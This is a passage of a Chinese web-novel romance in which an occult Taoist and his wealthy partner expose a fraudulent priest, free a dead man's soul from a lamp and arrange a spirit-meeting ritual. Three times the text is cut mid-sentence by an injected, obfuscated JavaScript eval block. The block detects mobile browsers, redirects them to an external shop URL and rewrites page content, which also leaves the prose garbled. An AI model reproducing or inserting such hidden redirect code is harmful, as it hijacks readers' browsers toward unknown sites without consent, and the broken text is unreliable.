他不仅帮驱鬼,解厌胜,现在还要帮她找邪修,超度亡魂,顾虑她的感受,担心她和父母之间的关系,甚至连她性子太软,会不会受委屈都想到了。 这些细腻和温柔,都藏在他那副轻佻的外表下,不仔细相处根本发现不了。 陆修望的视线情不自禁落在他身上,看着他微微皱起的眉头,还有那双平日灵动、此刻却略带无奈的眼睛,心里涌起一种说不清的感觉。 有点奇怪。 以前从来没有过,说不清是什么,只是觉得心里软软的,像是有什么东西在慢慢融化。 陆修望愣了一下,然后笑了。 ……原来是这样。 陆叙却突然开口:“那你呢,你今天和她爸抽烟,套到什么话没?” “我不是保镖吗?还要兼职侦探?” 陆叙连连摇头:“孺子不可教也,给你表现的机会你也不中用啊。” 看他那副样子,陆修望忍不住笑了,陆叙看过来,他又收敛起脸上的笑意:“说正经的,许瑶那边估计不行。” “嗯?” “下午和他爸简单聊了两句,那人死板又自负,认定了的事不会轻易改口。”陆修望回忆着,“她妈那性子估计也拿不定主意,很容易被人吹耳边风。” 陆叙沉思片刻:“你说得有几分道理,那就等许瑶消息再做下一步打算吧。” 今天这一趟收获还算不错,陆叙开口送客:“行了,情报交接完毕,你先回去休息,有消息我再叫你。” 闻言,陆修望反而换了个更舒服的姿势,双腿交叠靠进沙发,姿态悠闲,根本没有要走的意思。 陆叙端起水杯,挑了挑眉:“陆少爷,大半夜的,孤男寡男共处一室算怎么回事?” “不是你让我过来陪你的吗?”陆修望偏着头看他,嘴角带笑,“老婆。” 陆叙手上动作顿了一下,心里盘算该怎么把这场子找回来,面上神态如常:“叫你这处男一声老公你还挺得意?” “挺受用。”陆修望点头,“以前从来没人这么叫过我,我听着心里很舒服。” “……”陆叙无语,这人刚开始认识的时候不是端着就是死装,随便逗一下激动得要死,没想到熟了以后这么不要脸。 陆修望话锋一转,又把问题抛了过来:“那你呢?” 陆叙瞪他:“我什么我?” 陆修望看着他,嘴角笑意更深:“老婆,你刚才端水的时候,手抖了一下。” 陆叙差点被自己的口水呛到,一种搬起石头砸自己脚的感觉油然而生,他猛地咳了两声:“你给我闭嘴……” 陆修望一脸无辜,拍了拍陆叙的后背:“你没事吧?” 陆叙深吸一口气,心里把陆修望骂了一百遍,但此刻还真拿这小子没什么办法,他干脆换了个姿势,整个人窝在沙发里:“我累了,你爱待哪儿待哪儿,爱干嘛干嘛,别再来烦我。” “那我待你旁边,咋夫妻俩培养一下感情。” 两人靠得很近,陆叙皱了皱鼻子,陆修望衣物上那股淡淡的金钱的清香传到鼻子里,让陆叙悲从中来。 陆叙往旁边挪了挪:“你离我远点。” “为什么?” “热。” “现在是冬天,空调也不过23度。”陆修望提醒他。 “那就是你太臭了。”陆叙换了个理由,资本家的恶臭。 陆修望笑了一下,没说话,只是专注地看着他。 气氛诡异,陆叙被他看得有点不自在,抓起毯子盖住脑袋,声音闷闷的:“你看我干嘛?” 陆修望声音轻下来:“第一次见面,你盯着我看了三分钟,我现在只是看回来而已。” 陆叙在心里骂了自己一句,没事惹他干嘛,然后装作若无其事地说:“我给你看面相,那是给你脸了,你也配和我比?” “嗯,我早就知道你厉害了。”陆修望应了一声,声音听着像哄人,“以后你多教教我呗。” 陆叙感觉自己耳根莫名其妙有点烫,清了清嗓子,正要说点什么挽回颜面,手机突然震了几下。 拿起来一看,是许瑶发来的消息。 “陆先生,我按你说的,告诉他们我哥托梦让我救他,但他们不信,还让我别和不三不四的人混在一起。” “操,谁不三不四?” 陆修望凑过来看了一眼,忍不住笑了。 陆叙踢了他一脚,但很快又严肃起来,遮住屏幕继续给许瑶发消息:“你和他们多沟通多套话,搜集证据,稳住别露馅,我让我孙子派人去查。” “你孙子?” 陆叙没正面回答,只问:“那个风铃谁送你的?你之前说的亲戚,具体是谁?” 许瑶很快回复了:“是我亲姑姑,她说是自己亲手做的。” 陆叙抬头看向陆修望:“让你的人去查,从她姑妈那边查可能会更快一点。” 陆修望很快安排下去,陆叙也拿起手机打给老张,老张是这边搞法器的,和老郑一样,也算合作关系。 刚刚许瑶偷偷跑来,心神不宁,陆叙没办法,给她起了一卦,卦象倒是不错,元神发动生用,忌神休囚受制,化进化生,不见回头克、不见化绝,又无冲刑破害成局。 这次行事该是顺遂无阻,十拿九稳的,但并不代表可以掉以轻心,特别是面对这种阴邪之人,该准备的护身符和法器一样不能少。 挂了电话,陆叙把手机扔在一边,整个人往床上一躺:“累死了。” “你先睡会儿吧。”陆修望说,“查详细资料也要时间。” “也是。”陆叙裹上毯子闭上眼睛,房间里彻底安静下来。 陆修望坐在床边,处理了几封邮件,又打了个电话确认了一些事情。回过头,陆叙已经睡着了。 这人睡着的时候倒是安分,没了平时那副欠揍的样子,陆修望盯着他看了一会儿,莫名觉得有点好笑。犹豫了一下,陆修望伸手轻轻碰了碰他的头发。 手机震了一下,初步信息已经有了,内容不多,他翻了翻,没叫醒陆叙,又等了一会儿,更详细的资料才陆续发过来。 看完之后,陆修望皱起眉,确实有一个可疑人物。 正想着,门外传来敲门声。 陆叙立刻睁开眼,翻身坐起来。 “你醒了?”陆修望有点意外。 “我本来就没睡着。”陆叙起身去开门,“我睡觉很警觉的,有点动静就醒,你最好别偷偷做坏事。” 陆修望:“……” 刚刚他摸陆叙头发的时候,还顺带捏了捏他的鼻子,这人完全没反应,还好意思说自己是醒着? 门外是老张的徒弟,大半夜来给师父跑腿,陆叙给人小孩转了个大红包,才接过送来的东西。 见陆修望走过去,又问他:“你那边怎么样?” “刚发过来的。”陆修望把手机递给他,“你看看。” 陆修望补充:“我大概看了一下,许瑶她爸和她姑姑为了她哥的事,前前后后找过不少人。” “大部分都是正经人,要么是有名的大师,要么是有证的风水师,要么就是村里那种帮人看日子算命的老头老太太,都没什么问题。“陆修望顿了顿,“但有一个人很可疑。” 陆叙立刻来了精神:“谁?” 陆修望把资料调出来,这个道士俗名杨金水,自称清和,五十三岁,十年前突然出现在安市郊外的青龙山,据说来自闾山宗,在山上破观住了几年,起初只是偶尔给附近村民看看风水,指点一下吉凶,口碑还不错,三年前,他突然有了钱,在原址附近修了座新道观,取名青龙观。 从那之后,来找他的人越来越多,大多是求平安、问前程之类的小事,但也有人说,清和很擅长处理疑难杂症,特别是那些久病不愈、诸事不顺的,找他看过之后都有起色。 资料里提到,清和虽然对外称自己是闾山弟子,但没人知道他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099178|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师父是谁,附近几个正经道观的道长都不认识他,正经闾山一脉也没这么一个人记录在册。 陆叙把资料翻到最后,那里附了一张照片,照片里是个五十多岁的中年男人,面容和善,笑容亲切,穿着洗得发白的道袍,站在一座看起来很新的道观门口。 陆修望说:“观建成也就三年,但这人发家致富应该在这之前,许瑶姑姑之前身体不太好,也是找他看的,说是很灵验,所以就推荐给了她哥。” 陆叙眯起眼,手指在照片上滑动,放大看那人的面相。 “这长相倒是挺慈眉善目的。”陆修望看了眼照片,“看起来像是老实人。” 陆叙把照片放大,盯着看了几秒,然后不屑地笑了:“这人一看就不是善类。” 陆修望愣了一下:“你怎么看出来的?就凭几张照片几段视频?” 陆叙这下得意了,拍了拍陆修望的肩膀:“叫我一声哥,我保证好好教你。” “……”陆修望面无表情地看着他。 陆叙见他不配合,也不在意,自顾自说下去:“相家讲究先取骨格,再参五官,最后才看神气气色。你这种不爱动脑子的外行,只看到一个慈眉善目就以为人家心善,这是最容易被蒙蔽的。” “看人不能只看个大概,”他补充:“不然就你长得这死样子,我当初肯定不会帮你。” 气氛放佛又回到了两人刚认识时的状态,陆修望深吸一口气,忍住想和他吵闹的冲动:“那你倒是说说,这人长得哪里不对?” “你看他这脸。”陆叙把照片放到最大,“脸盘圆润,肉相和顺,这叫容貌取和,最容易让人放松警惕。但你仔细看他颧骨这里,起势很硬,下颌收得紧,口角线条始终绷着,没有真正的松弛。” 陆修望凑近看了看,还真是。 “形和骨执,外顺内硬。”陆叙说,“真正心性宽厚的人,骨相不会这么紧绷。就好比你,虽然长得又凶又坏,但整体松弛有度,所以其实是个好说话的。” 陆修望:“……” “再看五官。”陆叙把照片切换到另一张,正好是清和笑着看向镜头的角度,“眼睛是监察官,问题最明显,相书论眼,讲究神藏不露为佳,善人目光清透,但他这个——” 他指着照片上那双看起来很温和的眼睛:“你觉得他慈眉善目,是因为他把眼皮刻意舒展开了,看起来很亲切,但你仔细看,他眼底泛青,眼白浑浊,这种眼相的人心思最深沉。” 陆修望下意识反问:“可他看人的时候,眉眼带笑不像作假。” “笑相最能作假。”陆叙投来一个看白痴的眼神。 “你看他的笑,只动口角眉眼不松,形在笑、神不笑,真正发自内心的笑,整张脸都是舒展的,”陆叙指了指清和略微下垂的嘴角,“这就是藏锋,有点脑子的都看得出来是假笑。” “《冰鉴》里讲,清浊易辨,邪正难辨,要辨邪正,先观动静。这人托迹于清,但你看他的举止——” 他划拉手机,找出另一段村民发到社交平台的视频,是清和接待客人的情形:“进屋的时候,眼神先扫过供桌、柜子,然后才走到人身边停住。这种习惯性的警觉,不是修行人该有的气质。真正清修的人,气息和动作都是随意自然的,不会这么处处提防。” 陆修望沉默了几秒,又问:“那你怎么确定他不只是普通人心思重,而是真的有问题?” 陆叙收起笑容,声音压低了一点:“因为还有一层,这层不是相,是气。” “气?” 陆叙说:“道家看人,第一看清不清,清不是说干不干净,而是气机是否通畅、是否自然。正道修持的人,哪怕清贫、劳累,脸上也有清气,神不飘、气不黏,靠近了不会让人胸口发闷。” 他顿了顿:“邪术不一样,沾染阴私法门的人,不管他是害人、养阴、借运,还是单纯的敛财,不管修行多久,身上都会有阴浊之气,不一定显凶相,但一定会让人觉得不对劲。” “这人身上就有很多不合常相的地方。”陆叙指着照片,“明明是笑相,眼下却有滞气,保养得不错,面上有光却不流动。这种人,十有八九是浸淫邪术太久,身上沾了太多因果。” 陆修望若有所思:“所以你一眼就能看出和你打交道的是什么人?” “那是,早告诉过你了,我看人绝不会看错,所以你有隐疾这事,别人不知道,但绝对瞒不过我。”陆叙得意地笑了,“而且像他们这种浸淫邪术的人,最擅长的就是把皮相修得和善,专门骗你这种人傻钱多的蠢货。” “……”陆修望无奈看向他,“明明是你先惹我的,怎么自己先急了?” “谁急了?你乱说什么呢?”陆叙移开视线,“我这是在夸你质朴无害,还教你民俗知识,你应该说谢谢。” 陆修望懒得跟他计较,把手机收起来:“那现在怎么办?今晚就去那人老窝瞅瞅?” “可。”陆叙说,“先摸个底,看看这道观里到底藏了什么,明天再光明正大上门,到时候好办事。” 16. 第 16 章 一行人开了一小时车到达青龙山脚,夜里的山路不好走,摸黑走了二十多分钟,才终于看见青龙观。 道观坐南坡,靠青山,山环水抱,藏风聚气,不像有阴煞的样子。 保险起见,陆修望带来的人屏蔽了附近的信号,陆叙也给他塞了好几个护身符,专业人员巧妙的处理了一下门锁,两人就这么堂而皇之地进了道观。 陆叙打开手电,光束压得很低,只照脚下,一对石狮子守在朱漆大门两侧,空气中弥漫着淡淡的松柏香气,前院中央的三层香炉鼎静静矗立,周围的回字形路径弯曲有致,这布局,比某些所谓的“洞天福地”有过之而无不及。 两人没急着进殿,而是沿着院墙慢慢走了一圈,陆叙时不时停下脚步,蹲下身看看地砖的走向,又抬头观察房檐的位置。 院子修得很规整,花台、香炉、石桌的摆放都很讲究。转了一圈,他的眉头反而皱了起来。 “有问题?”陆修望压低声音问。 陆叙闭眼凝神,能感觉到一股暖融融的阳气在庭院中流动。 “这前院的格局太好了。”他睁开眼,“水口开在乾位,房屋压着离宫的正位,气场流转顺畅,再加上平时香客多,阳气很旺。” “那不是好事?” “问题就在这儿。”陆叙皱起眉,“前院香火这么兴旺,怎么舍得让气外泄?这个宅子气场微微向北倾斜,气都往后院走了。” 如果这是个普通道观,没人会去在意这些细节。 他转身看向后院:“前院做得这么正,气场流动又做得隐蔽,后院肯定有问题,过会得仔细检查。” 两人走到正殿门口,陆叙推开门,手电照进去。殿内布置简单,正中间供着一尊神像,墙上挂着些常见的法器,烛台上还有未燃尽的香烛,看得出来香火很足。 陆叙走近神像,手电的光照在神像的脸上,他盯着看了好一会儿。 陆修望注意到他的表情,忍不住问:“这神像有问题?” 陆叙点了点头。 那祖师像身着道袍,手持拂尘,面容慈祥,但总觉得哪里不对劲。外形塑造多了一丝刻意的锐利,整体不像传统祖师的超然脱俗,雕像的衣袍褶皱处,似乎有一些不属于传统道家祖师的配饰纹路。 陆修望看了半天,啥也没看出来。 陆叙蹲下身,借着手电的光仔细观察底座: “你看底座的铭文。”陆叙指了指,“正殿贡的应是正统祖师,三清太上,或者他师承的闾山真人,但这尊像字迹模糊,难以辨别。” “他做得很聪明。”陆叙站起来,“表面上完全符合规矩,挑不出毛病。但实际上,他供的应该是他自己的师父,或者他师承那一脉的私家祖师,只是用了正统道门的形制包装起来,借正统之名行私事。” 他看了看正殿的布局:“气在这里最盛,却被引导向后,这殿堂怕是整个局的幌子。” 两人穿过侧门,经过一条长廊,伪装成墙饰的风铃在夜风中发出低沉的鸣响,更印证了陆叙的猜测。 后院比前院小得多,表面上看清幽宁静,竹林婆娑,中央一棵老树矗立在石坛上,水潭里养着鱼,亭子下石凳整齐。 花台的位置,水缸的摆放,甚至连墙角堆着的几块石头,都透着股说不出的讲究。 但陆叙立刻感觉到不对,空气转凉,阴风从后山吹来,带着一丝滞重的湿气。 阴气来源就是那棵不算高的老树,树干扭曲,枝叶稀疏,上半部分分出两根粗枝,像是伸展开的手臂,再往上的枝条垂下来,远远看去,很像一个穿着长袍的人站在那里。 “罕见的雷击木。”陆叙走到树边打量,“被雷劈过不止一次,没死,又活过来了。” 他蹲下身,看了看树根周围的土。土壤略显潮湿,土色发黑,隐隐有聚阴的迹象。树根旁边埋着几个小坛子,坛口用黄泥封着,看起来已经有些年头了。 他绕着雷击木走了一圈,发现水潭看似平静,但水流滞缓,底部暗沟隐现,这是死水煞,竹林后,一块尖角岩石被藤蔓遮掩,隐隐指向雷击木,箭煞,亭子在特定时间会反射月光,这是借天时的光煞。 陆叙站起来,整体看了一遍后院:“前院聚阳,后院阴煞,两边气场一正一邪,全部用来养这棵树。” “为什么要养树?”陆修望问。 “不知道,大概是为了养某种阴邪。”陆叙摇了摇头。 “坛子里埋的肯定是生灵遗体,也是用来抽取生机供养雷击木,”陆叙指了指那些坛子,“花台下面应该还有更多,低洼的地势让阳气在此积聚,却被这些隐煞转化,一个看起来普通的花园,实际上是再好不过的养鬼地。” 陆修望看着那棵树,再看看周围那些看起来普通的花草,突然觉得有点不舒服。 “这人确实厉害。”陆叙说,“聚阴抽生,阴阳合流,做得天衣无缝。” “那你是怎么看出来的?”陆修望问。 “我之前跟着我师父处理过类似的事,但也只见过一次,我对这种局的所有了解都来自于那次经历。”陆叙说,“这种手法,一般人学一辈子都不能做到,所有不对劲的地方都被掩饰住,普通道士碰到也发现不了异常。” 两人回到前院,陆叙又看了一眼正殿里的神像。 “整个观里没有任何施咒的痕迹。”陆叙转身往外走,“做局的时候没留下任何把柄,就算有人来查,也找不到任何证据。” 回到酒店,陆叙把今晚看到的东西简单记录下来,这一趟基本算是白跑,这个新观显然不是他动手脚的窝点,山上那个老观才是。 他关闭记录软件:“这个杨金水,来路绝对不简单。” “那明天怎么办?”陆修望有点担忧。 陆叙露出一个狡黠的笑容,凑到陆修望耳边低声说了几句。 陆修望听完,忍不住也笑了:“你怎么能阴成这样。 ” 陆叙装出一副深沉的样子:“我做这行最忌误时辰,行事就讲一个实用,速战速决,达到目的就行,管他用的什么方法。” 上午八点,两人再次来到青龙观,陆修望的人在山脚等人,观门没开,陆修望随手敲了敲。 很快门打开了,清和道长走出来,穿着干净的道袍,脸上挂着温和的笑容,和照片没区别,看起来就像个慈祥的长者。 道士抱拳行礼声音温和:“贫道昨日去镇上办事,不在观中,二位可是昨晚来过?” 陆叙心里一惊,但面上不动声色:“道长说笑了,我们今早刚到安市。” 道士笑了笑,也没追问:“那是贫道想岔了,二位里面请。” “不知二位缘主来贫道这小观所为何事?”道士跟在后面,声音温和。 “听闻道长道法高深,擅长解决疑难杂症。”陆叙从口袋里掏出手机,调出许瑶哥哥的照片,“想请道长帮忙看看这人的命数如何。” 道士接过手机看了看照片,脸上的笑容却没有丝毫变化。 “这位是?” “我大舅哥。”陆叙打量着他,随意开口,“他体质不好,运气也不好,求医问药不管用,听说道长这里灵验,所以想来请教。” 道士抬起头,叹了口气: “此人面相恐难长命,贫道也无能为力,”他摇摇头,“此乃天命,非人力可为。” “天命?”陆叙冷笑一声,“道长的意思是,是老天非要他死?” 道士脸上的笑容收敛了一些:“生死有命,贫道也只能尽人事听天命,两位请回吧。” “那如果我说,”陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099179|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叙盯着他,眼神里满是嘲讽,“这不是天命,而是人为呢?” 空气安静下来。 道士脸上的笑容终于消失了,他抬起眼看向陆叙,那双原本温和的眼睛里闪过一丝冷意。 “施主这话是何意?” 气氛剑拔弩张,陆叙脸上却露出得意的笑容,他双手抱胸靠在门框上:“我的意思是,清和道长,你敲诈我女朋友父母大笔钱财,无证上岗,组织违法邪术活动,”他故意顿了顿,“我已经报案了。” 清和道长脸色骤变,转身往后门跑去,也就在这时,院门外传来脚步声。 几个穿着便衣的人走了进来,陆修望看到来人,脸上露出一个无奈的笑。 “杨金水先生,有人举报你涉嫌诈骗,请配合调查。”为首的人没和陆修望寒暄,只是冲道士出示了证件。 清和道长脸色铁青,但还是维持着表面的平静:“贫道给人看相算命,何来诈骗一说?” “证据确凿。”那人看了看手里的材料,“许先生一家前后给你转账近百万,你这看的什么相,算的什么命,还挺赚钱。” 清和道长还想辩解,那人打断他:“过会儿有的是时间听你说,现在请跟我们走一趟。” 清和道长看了陆叙一眼,眼神冰冷:“你真是好手段。” “过奖过奖。”陆叙笑得更开心了。 其实昨晚回到酒店后,陆叙本打算让陆修望打点一下关系,先把杨金水请去问询,拖延几天时间,他好趁机进老道观仔细查看。 但许瑶那边传来了意外消息,她趁父母熟睡,在他们的手机、电脑等设备上找到了大量转账记录,还有和姑姑的聊天记录,以及一些法事现场的照片。 这些证据虽不能坐实牵涉邪术,但证明清和道长诈骗已经够了。和杨金水的聊天记录虽然谨慎,但和姑姑的聊天记录却没特意遮掩,涉及“做法费用”“法器费用”“后续费用”的事宜,清清楚楚,也能作为证据。 陆叙拿到这些证据后,立刻改变了计划。既然有实锤,何必还要费劲打点关系?让许瑶直接报警反而更省事。 陆修望虽然觉得这招有点损,但也不得不承认确实有效。 院门外又传来脚步声,这次是许瑶。 她背着个包,眼睛红肿,脚步有些虚浮,应该又是一夜没睡。 “陆先生。”她声音有点哑。 “你怎么来了?”陆叙看了她一眼,“你不应该去配合调查吗?” “我给我父母发了我报警的消息,如果他们还有一点脑子,就自己去处理这件事,我现在只想把我哥的魂魄找回来。” 许瑶从包里掏出手机,调出些截图和照片,递给陆叙。 陆叙翻了翻,脸色也有点不好看。那些聊天记录里,姑姑反复强调“只有用妹妹的运才能救哥哥”,许瑶父母的回复也很配合,甚至有“只要能救儿子,女儿的命都可以”这种逆天言论。 陆叙叹息:“真是罔顾人伦。” 许瑶接过手机,嘴角扯出一个苦笑:“我昨晚看到这些的时候,简直难以置信。” “他们以前对我真的很好,我一直以为他们是爱我的。但现在我才意识到,可能连我的出生,都是为了解决哥哥的不幸。” 陆修望站在一旁,有些不知道该说什么。 许瑶随意擦去眼泪:“我哥死后,这个贱人道士甚至还说,是因为我执意去外地上班,影响了法力效果,是我害死了我哥。” 她深吸了一口气,脸上的表情从悲伤转为释然:“但我现在什么都知道了,反而轻松,我哥走了,我也不欠他们什么。” 许瑶看向陆叙,郑重地说:“陆先生,我会把我那些首饰包包全卖了,不管多少钱我都愿意出,我哥哥的事,还得再请你帮忙。” 17. 第 17 章 分发了一下护身符,三人立刻往山上走,陆修望提前打过招呼,警方那边会晚几个小时再来封锁山上这座破观,给他们留了足够的探查时间。 爬了快一小时,陆叙呼吸已经有些急促,陆修望背着他的包,像散步似的走在前头,回过头笑着问:“要不要我背你?” 陆叙瞪了他一眼,简短地吐出一个字:“滚。” 这种精力旺盛还爱装比的人真的非常令人讨厌。 前方出现了一座残破的建筑,地势非常隐蔽,藏在树林深处,如果不是特意来找,根本发现不了,屋顶塌了一半,墙壁也破了好几个洞,看起来荒废了很久。 “这里才是他的老巢。” 表面上看,这里确实很破败,但陆叙能感觉到,这片废墟下面藏着很重的阴气,而且和青龙观那种刻意营造的局不同,这里的阴气是真实的,长年累月积累下来的。 “你看这山头的地势。”陆叙指了指周围,“这里原本风水很好,背靠主峰,面朝开阔,左右有护山,是个养气的福地。” 陆修望耳濡目染,点了点头:“确实不错,没什么阻气的地方。” “不懂就闭嘴。”陆叙笑了,指了指另一边,“这里原本应该是有山体延伸出去的,但现在断了,应该是山体滑坡之类的自然灾害造成的,现在形成了反弓。” 他转过身,看向整片山头:“反弓本身就是煞,再加上周围福地的气场,形成了一个标准的养尸炼煞之地,杨金水还真会选地方。” 三人走到正门前,门上挂着一把结实的铁锁,锁已经生锈了,但还很牢固。 陆修望上前,掏出撬锁工具,摆弄了几下,锁应声而开。 陆叙看着他熟练的手法,忍不住嘲讽:“你这技术挺熟练啊,没少干这种事吧?” 陆修望瞥了他一眼:“专门练的,方便半夜爬你床。” 陆叙不想理他,推开门径直往里走,一股霉味和腐臭混合的气味扑面而来。许瑶忍不住捂住口鼻,陆修望也皱起了眉。 陆叙倒是面不改色,放佛早已习惯。 屋里昏暗无光,地上堆着破烂的木板和瓦片。墙上挂着几幅褪色的画,画中隐约可见一个道人的身影,很奇怪,也很突兀,陆叙掏出手机拍下那几幅画,又环顾四周,目光最终落在屋子深处的一道门上。 三人走过去,里面是个更大的房间,看起来像是祠堂。 原本供奉的祖师像被推倒在地,取而代之的是一排排木架,上面摆满了阴邪的物件。 陆叙走近,手电的光照在那些东西上。 人皮伞、头骨碗、手指念珠、骨鞭,还有一些用头发编织的布,上面画着复杂的符文。 许瑶看见这些,脸色瞬间煞白,胃里一阵翻涌。她转过身扶着墙深吸了几口气,强忍着没吐出来。 陆修望也倒吸了一口凉气:“这些都是——” 陆叙点了点头,没多说什么。 他仔细检查,光是眼前这些东西,至少害了十几条人命。 但这不是陆叙该管的事,他继续往里走。祠堂内部还有一道后门,门上贴满符纸,里面是个更小的房间,房间中央摆着一个法坛,坛上放着很多草人。 陆叙走到法坛前,在一堆草人里翻找了一会儿,挑出其中两个。草人上面写着生辰八字,正是许瑶和许怀的。 “这就是用来施厌胜的道具。”陆叙将草人递给许瑶,“不过现在已经失效了,你自己处置吧。” 他又在房间里检查了一遍,目光落在角落里的一盏灯上,那是一盏很古旧的油灯,灯罩是铜制的,上面刻着复杂的纹路,灯芯还在,但没有点燃。 陆叙蹲下身,仔细打量着这盏灯,里面是石油。 “你哥散落的魂魄就在这里面。” 许瑶激动的问:“真的?” “嗯。”陆叙没怎么细说,“这是拘魂灯,你哥死后,杨金水把他的部分魂魄引导到了这里,应该是想炼成小鬼。” “幸好这件事处理及时。” “那现在怎么办?”许瑶问。 “我得尽快把封印解开,把你哥的魂魄放出来。”陆叙说,“你们俩回避一下。” 陆修望皱了皱眉,显然不放心:“我留下来帮你。” “帮倒忙吧你。”陆叙点评,“你俩阳气这么重,是想让残魂灰飞烟灭吗?” 陆叙赶走两人,关上门,在法坛前盘腿坐下。他取出拘魂灯,在周围布置了一个简单的阵法,四周用黄纸铺成八卦图,每个方位压上铜钱,防止煞气外泄。解禁制本不算难事,昨天买的破禁符正好派上用场。 他将符纸贴在灯身,手指掐诀,低声念动咒文。符纸燃起青烟,禁制应声而解。 许怀的残魂缓缓溢出,在空气中凝成一团若有若无的白色雾气,这人生前是个好人,也没牵扯太多因果,陆叙轻叩灯身,但雾气几乎没有反应,这说明许怀魂魄极不稳定,随时可能消散。 陆叙眉头紧皱,闭上眼深吸了一口气,每次请神,他都要承受极大的消耗,但眼下没有别的办法。 “弟子陆叙,请天医降临,怜悯此残魂不全,赐法力缝合,复其本真!” 他将清水洒向灯器,一遍遍吟诵:“天医妙手,全形诸司,魂归一体,病者愈,残者全!” 烛火开始剧烈摇晃,仿佛有无形的风在房间里旋转。温度骤降,那团白色的魂体在半空中翻涌、聚拢,原本涣散的形态慢慢凝实起来。 陆叙额头渗出冷汗,但咒文没有停顿,几分钟后,魂体终于稳定下来,陆叙这才睁开眼,用指尖按住灯芯,火苗跳跃了几下,火焰随之稳定下来。 陆叙长舒一口气,低声送神,然后吹熄了灯芯,将拘魂灯小心收进背包。 门打开,许瑶和陆修望立刻迎上来,陆修望似乎察觉到他的不对劲,眼疾手快地扶住他。 “我哥怎么样了?”许瑶紧张地问。 “已经稳住了。”陆叙自然地靠在陆修望怀里,声音有些疲惫,“魂魄聚在一起了,暂时不会消散。” 他抬眼看向许瑶:“但你得尽快超度,不能拖。” “超度的事我不参与,我给你介绍这边的人,他能安排。” “我知道了。“许瑶声音坚定,但手指死死攥着那两个草人,指节泛白。 陆叙沉默了几秒,还是开了口:“其实有一种办法,可以让你见他一面。” 许瑶猛地抬起头。 陆叙说:“这个我做不了,得找专门的人,而且风险很大,弄不好会把你也拖进去。” “一般要等四十九天的那次超度结束后,但如果你等不及,也可以提前。”他看着许瑶,“只是你得想清楚,值不值得冒这个险。” 许瑶深吸了一口气,眼眶泛红,却强忍着没让眼泪落下来。 “我想见他。”她的声音很轻,却异常坚定,“不管多大风险,我都想见他最后一面。” 陆叙点点头,把老张的联系方式推给她:“超度需要你父母同意,你先处理这件事。等办完,我再帮你联系走阴的人。” 陆修望看了看时间:“人快到了,我们该下山了。” 陆叙应了声:“这些证据够杨金水牢底坐穿了,剩下的事,我们就不要再插手了。 许怀的第一次超度安排在本月的十五,那天早上,许瑶接到了父母的转账,很一大笔钱,比她预想的多得多。 许瑶沉默了很久,最后还是收下了,这是那对夫妻欠他们兄妹的,不多不少。 仪式结束后,负责此事的阿婆告诉许瑶,她哥的魂魄已经稳定,七七过后就可以安心投胎,许瑶跪拜了三次,眼泪无声地流。 但她还是不甘心。 “我想见他。”许瑶找到陆叙,眼神坚定,“我不想等那么久了。” 陆叙皱起眉:“你哥现在还未满四十九天,还在中阴身期,神通自在且极不稳定,很容易出意外。” “我不怕。”许瑶打断他,“陆先生,我想见他一面,跟他说几句话,求你了。” 陆叙看着她,沉默了几秒,最后还是妥协了。 陆叙联系了李先生,对方做这行几十年了,听说是刚过完头七的魂魄,犹豫了很久,最后开了个很高的价。 许瑶一句话没说直接答应了。 三天后,李先生带着一堆东西来了老张的道场。 “时间不能太长,不能超过五点。”李先生一边摆东西一边说,“我拍你肩膀的时候,不管听到什么看到什么,一定要回来。” 许瑶点点头,声音冷静:“我知道。” 李先生布置了一个简单的阵法,点上香烛,许瑶光脚坐在中间,用黑布蒙住双眼,中间夹着一张阴路符,仪式开始。 李先生开始念咒,声音低沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099180|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,带着某种韵律,蜡烛的火苗开始摇晃,催魂,引咒,落阴。 陆叙靠在墙边,神色淡然,这种场面他见得太多,早就没什么感觉了。 陆修望却不一样,他第一次亲眼见到这种仪式,脑子里那些科学知识在这一刻显得格外苍白无力,他盯着阵法中央对着空气说话的许瑶,说不好奇是不可能的。 “她真的能见到?”他压低声音问陆叙。 “经历过的人都说能。”陆叙没看他,目光始终落在许瑶身上,“我没经历过,但我知道,只要对方愿意,就可以看到。” 四十分钟后,李先生开始回阳,收魂, 许瑶眼睫毛轻轻颤动,她缓缓摘下黑布,眼神从涣散渐渐聚焦,眼泪却已经止不住地涌出来。 她哽咽着冲李先生道谢,对方松了口气,擦了擦额头的汗,详细叮嘱了走阴后的注意事项便起身去休息了。 许瑶还坐在那里,眼泪一直流,却没发出声音。陆叙走过去,倒了杯温水放在她手边,他刚想开口说点什么,许瑶突然从椅子上站起来,扑通一声跪在了他面前。 “你干什么?!” 陆叙吓了一跳,赶忙伸手去拉她。 许瑶却死死抓着他的袖子,整个人趴在地上,哭声终于压抑不住,撕心裂肺地涌出来。 